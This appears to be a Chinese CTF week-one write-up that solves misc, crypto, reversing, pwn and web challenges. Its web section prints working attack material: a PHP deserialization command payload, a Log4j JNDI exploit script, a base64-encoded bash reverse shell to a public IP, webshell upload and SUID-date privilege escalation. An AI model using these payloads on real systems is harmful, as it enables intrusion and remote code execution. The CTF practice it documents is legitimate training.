Week1
[Misc] ez_traffic_analyse
我出的题嘿嘿(
刚刚复现了Shadowsocks重定向攻击的内容,就把他甩上来了。题目描述挺明显的,操作起来也还挺简单。
参考文章:https://www.secrss.com/articles/51733
的exp即可。
[Misc] ez_leakage
题目附件给了grad和权重,猜测用grad+原来的模型可以还原图像。找了下是DLG,也有现成的脚本(https://github.com/mit-han-lab/dlg
改一下扔到Colab上去跑一次就有了
[Misc] evil_pic_encode
首先拿到的numpy数组的长度可以用质因数分解分出来,1801422=2*3*3*7*17*29*29,分出三个通道,剩下的几个质因数组合一下生成图片发现分辨率为986*609的图片正常(直的)
先看猫脸变换(为什么是这个名字?
写个程序可以发现本题的变换矩阵的循环节为7
def Arnold_period(N):
# 计算(posx,posy)位置Arnold变换的周期(与整个图像Arnold周期应该一致,待证)
posx = 28
posy = 25
# 变换的初始位置
x0 = posx
y0 = posy
T = 0
a = 114
b = 514
print(T, x0, y0)
while True:
x = (x0 + b * y0) % N
y = (a * x0 + (a * b + 1) * y0) % N
# x0,y0同时更新
x0, y0 = x, y
T += 1
print(T, x, y)
if x == posx and y == posy:
break
return T
print(Arnold_period(29)) 于是只需将加密后的图片再变换7次可以找到猫脸变换的矩阵
kk = [
[5, 1, 4, 2, 3],
[6, 4, 5, 4, 4],
[1, 3, 1, 3, 1],
[5, 3, 3, 2, 5],
[1, 5, 2, 3, 4],
[4, 3, 3, 2, 3],
[6, 5, 2, 6, 4],
[3, 3, 6, 1, 5],
] 接下来就是处理周围的dct块了...发现dct块的加密次数不超过5...但是问题是dct加密后虚部的内容被丢弃了...?似乎需要爆破有点麻烦(
中间已经存在了一部分的内容,然后dct块的内容选择直接爆破来做。
[Misc] ez_eval_game
又是我出的题。虽然这个题出了点问题(悲)
原题是:https://oskaerik.github.io/theevalgame/。
可以直接参考leaderboard上的代码。
[Misc] bssid
osint。wigle网站上查一下。
[Misc] signin
exif信息中有提示到公众号发signin。然后图片末尾的文字有提示发送到b站bxs账号得到剩下的flag。
[Misc] strange_pic_encode
可以查到一条曲线可以填充二维平面=>Peano或者是Hilbert曲线。大致观察发现是3x3的块所以是Peano曲线(网上这个东西好少)
搜了一个matlab的实现然后手动改成python
def peano_curve(n):
peano_old = np.array([[0, 0], [0, 1], [0.5, 1], [0.5, 0], [1, 0], [1, 1]])
points = peano_old.tolist()
# points = []
for i in range(1, n):
p1 = np.column_stack((peano_old[:, 0], 2 + 1 / (3**i - 1) - peano_old[:, 1]))
p1 = p1[::-1]
p2 = np.column_stack((p1[:, 0], 4 + 3 / (3**i - 1) - p1[:, 1]))
p2 = p2[::-1]
peano_new = np.vstack((peano_old, p1, p2))
p1 = np.column_stack((2 + 1 / (3**i - 1) - peano_new[:, 0], peano_new[:, 1]))
p1 = p1[::-1]
p2 = np.column_stack((4 + 3 / (3**i - 1) - p1[:, 0], p1[:, 1]))
p2 = p2[::-1]
peano_new = np.vstack((peano_new, p1, p2))
peano_old = peano_new / (3 + 2 / (3**i - 1))
points = peano_old.tolist()
points = np.round(np.array(points) * (3**n - 1)).astype(int)
nP = []
for i in range(len(points) - 1):
nP.append(points[i])
dx = int(points[i + 1][0] - points[i][0])
dy = int(points[i + 1][1] - points[i][1])
if dx == 0:
for j in range(1, abs(dy)):
nP.append(np.array([points[i][0], points[i][1] + j * (dy // abs(dy))]))
else:
for j in range(1, abs(dx)):
nP.append(np.array([points[i][0] + j * (dx // abs(dx)), points[i][1]]))
nP.append(points[-1])
return np.array(nP)
然后就卡住了(?不知道是哪种加密的操作方法,导致耗费了一晚上来试怎么做比较好(x
经过一堆尝试发现这样做能够生成差不多形式的图
r = np.array(Image.open("1234.jpg").convert("RGB"))
w, h = r.shape[:2]
points = peano_curve(6)
t = np.zeros_like(r)
r = r.reshape((w * h, 3))
for i in range(len(points)):
y, x = points[i]
t[x, w - 1 - y] = r[i]
Image.fromarray(np.array(t).reshape((w, h, 3))).save("crypt1.png") 逆向操作即可
r = np.array(Image.open("encrypto.png").convert("RGB"))
w, h = r.shape[:2]
s = []
for i in range(len(points)):
y, x = points[i]
s.append(r[x, w - 1 - y])
s.reverse() # 最后发现反了我再返回来即可x
Image.fromarray(np.array(s).reshape((h, w, 3))).save("crypt2.png") [Web] php_hacker
反序列化构造一个字符串即可。
payload如下
O:8:"Executor":1:{s:7:"command";s:20:"echo `cat /f_l_a_g`;";} 中间的shell随便改就行(
[Web] attack_shiro
https://www.cnblogs.com/CoLo/p/14025101.html
找个公网ip弹个shell就行(
[Web] ez_cat
上传一句话木马
然后弹shell提权即可。
利用date的suid来提升到root并读取文件。date -f /flag.txt
[Web] ez_sqli
https://www.wolai.com/ctfhub/3steV94h29brUrEiwuGp9n
手注。
[Web] java_signin
猜测是log4j2 RCE的CVE。
于是就只剩下试验了。最开始直接用TCP模拟发HTTP包。失败了
然后发现只用从某几个常用的Headers里试一试就可以了
最后是Accept这个headers里。exp如下:
import requests as r
import base64 as b64
from pwn import pause
ipaddr = "43.128.24.129"
jdni_url = f"rmi://43.128.24.129:1099/063ckb"
# url = "http://47.76.71.50:20009/"
url = "http://localhost:8081"
r.get(url, headers={"Accept": "application/${jndi:" + jdni_url + "}"})
然后弹shell的机器上开一个JDNIExplotion和nc监听端口。然后execbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMjguMjQuMTI5LzkwMDEgMD4mMQ==|{base64,-d}|{bash,-i}最后发送请求就可以看到弹来的shell。
[Crypto] hard_pic_encode
原来Crypto才是签到题
再xor一次即可
[Crypto] baby_pic_encode
assert可以化简为x^2 - 810131 y^2 = 1
查了下是Pell方程
def solvePell(d):
m = int(np.sqrt(d))
dq = deque()
dq.append(m)
n0 = n1 = d - m * m
m1 = m
while 1:
q, m2 = divmod(m1 + m, n1)
dq.appendleft(q)
m1 = -m2 + m
n1 = (d - m1 * m1) // n1
if m1 == m and n1 == n0:
break
dq.popleft()
b = 1
c = 0
for i in dq:
b1 = c + b * i
c = b
b = b1
return (b, c) 求解得到x,y
用原来的函数在np.zeros()上生成一样的补码
然后和加密后的图相减即可。
[Crypto] SuperBag
本题中观察可知leak = w
所以array_2可以求出来
解出。
[Crypto] Broken PEM
读了pycryptodome的源码,DER格式的内容大概是[type][length_type][length][content],type的内容可以参考这里。
因为RSA PEM内容肯定是整数序列,内容如下:
RSAPrivateKey ::= SEQUENCE {
version Version,
modulus INTEGER, -- n
publicExponent INTEGER, -- e
privateExponent INTEGER, -- d
prime1 INTEGER, -- p
prime2 INTEGER, -- q
exponent1 INTEGER, -- d mod (p-1)
exponent2 INTEGER, -- d mod (q-1)
coefficient INTEGER, -- (inverse of q) mod p
otherPrimeInfos OtherPrimeInfos OPTIONAL
} 后面序列有四个数,所以可以得到q,题目也给了e。于是可求。
可知,在q已知的情况下能够求出m。
编写exp.py如下
from binascii import a2b_base64, hexlify
from Crypto.Util.number import long_to_bytes as l2b
pem = (
a2b_base64(
"""
1ixI9xAcwhdVVjzfp55wYLPya5DWWP9zmpMMxYV0Zb74j/r/+ajucrs15/+rG2Rf
BHBMSTFwn4mbL60OfhReOuj3T7cNBYYYHgFGC5kANsa/HVKQegWebJNNAoGBANRg
g8lUzD5t2iE1wrOtzepOCCGNmTeoJckArrsOWBRbJ7U95FJy9pz7beEmH8Upfgjt
ErHXRALLzeKhrKf18nsHg2YsvK5zSD149g+iPhL1JPi/x2BndcYMgBuicMR7eZ59
jDVs72sELL+5tsunUsvu51VHaNi+JwRLHMOe2WgZAoGAKbCaUZR1Dit2zkiIkeg7
WQCdadFnVGoyFOGNlDYLSB4lBE5tqnXfUzQiqTzMnYmynj1VhBaOF3uw4gKWxzkB
aGvDhglVo2LsMrcEMQcv8uqRYZ/50Y4yDcyas1RhsDJ8PrVJOeom7xf5P/GXClIO
mtmiFnna+NzuCdextFZnE+ECgYEAzflBN11XrWCLQtRKHkt9vzWo6ynSpMkexGA2
FtMll7CExWHedBxtk/jCK6/29hh01SFglTyrCG8zIg8dTdTaNHon9UuEP0ktkfkj
5Cu9OlOpZNtS+eu9rLPo92RHLDh4zr8C4bniRg9JezUZ1VBVm9X7ZJkaVcOuQZq7
rfn87tkCgYEAgnKtFAEEOq6UqSgzbYSTPsgpHlQy8ZAzJBZhupevBxXFQyjl6UCD
KSeDSvjgpHngIVEdrpm8xGmHpaYGhdvUBX3RmFv5wg/Lhb5Y/aMu3Tpv2hhysmv1
thD5ts5oRIwKrl0ZlrQPybnYLHMixky5R9JJohRv8Dmgp15afJ4PEHc=
-----END RSA PRIVATE KEY-----
""".replace(
"-----END RSA PRIVATE KEY-----", ""
).replace(
"\n", ""
)
)
.hex()
.split("0281") #02表示下面的type是整数 81表示接下来一位是长度
)[1:] #第一块是无用块。
pem = [int(i[2:], 16) for i in pem] #去掉长度标识转成整数。
q = pem[0]
e = 0x10001
d = pow(e, -1, q - 1)
c = int(
"""64cf9253ce6f8bb37ad43cbb473a0577d036144d5dc9ce0ae2fa5a485950096b0b78b06f06bcc60b6f92eddc34ff1ea1e1573b82912c4aea70c645bf11c9bf36a291ff9793390051e412ab209eb199cf0ea0c100e4c7af7a650848c14ec44b7d78a13da503a30eb8ef37e432bcd587bc7cebfc4d89aaaf4b8f3f84c5947a623375008a8d211e97057923c115e320ccaf9cb9f839a0c03c8d337b061ca58c8ccf9d3fdbb121fce009b313ee7381a124b80ff9f1ed0217cca2cf58306e9a99baa7aafcfab90164ab45fd37f240a584c5631a5325249b371551c8daaab8882cd01b439b383d7c557534a99e7af5e64afdf6d22d0fb6f67944996aa874150b9deffb""",
16,
)
m = pow(c, d, q)
print(l2b(m).decode()) [Crypto] A Bit Limit
由于给了q的高位,这个题大概是用coppersmith_attack来分解。
但是如果直接用q分解,界没设好的话最后得到的解是-q
所以需要将q补全几位再继续分解。
[Reverse] Baby Math
一个形式为Ax=B的方程。解出来即可
[Reverse] simple
注意到代码中出现了2654435769 = -1640531527 & 0xFFFFFFFF = 0x9E3779B9常用于tea加密。
于是写了一个解密程序。得到flag。
[Reverse] babysmc
查壳是UPX壳。但是似乎有改动所以无法直接脱壳,于是用https://www.anquanke.com/post/id/272639的方法手动脱壳了。然后丢进IDA找到了主函数
点开主函数发现用sub_4014C8()解密了sub_401410这个函数,然后再进行了比较。
丢进x32dbg动态调试定位到call 401410前设置断点。然后就可以看到解密之后的函数指令。
当然看指令什么的还是算了,同样dump出来丢进ida就是原函数
稍微模拟一下就可以找到原内容。
[Pwn] Rise_of_the_Dragon_Slayer
简单的交互入门题,唯一要注意的是加一个int,除法是整数。
from pwn import *
import ctypes
# context.log_level = "debug"
p = connect("47.76.71.50", 20009)
from re import compile
calc = compile(r"(\d+) ([\+\-\*\/]) (\d+) =")
p.recvuntil(b"Now, you need to answer 20 questions to test your intelligence.\n")
for i in range(20):
print(i)
res = p.recvuntil(b"Please input your answer:\n").decode().replace(b"\n", b"")
a, op, b = calc.findall(res)[0]
p.sendline(str(eval(f"int({a + op + b})")).encode())
for i in range(20):
print(i)
res = p.recvuntil(b"Input the position you want to attack:\n").decode().split("\n")
for i in res:
if "M" in i:
p.sendline(str(i.split("M")[0].__len__()).encode())
p.interactive()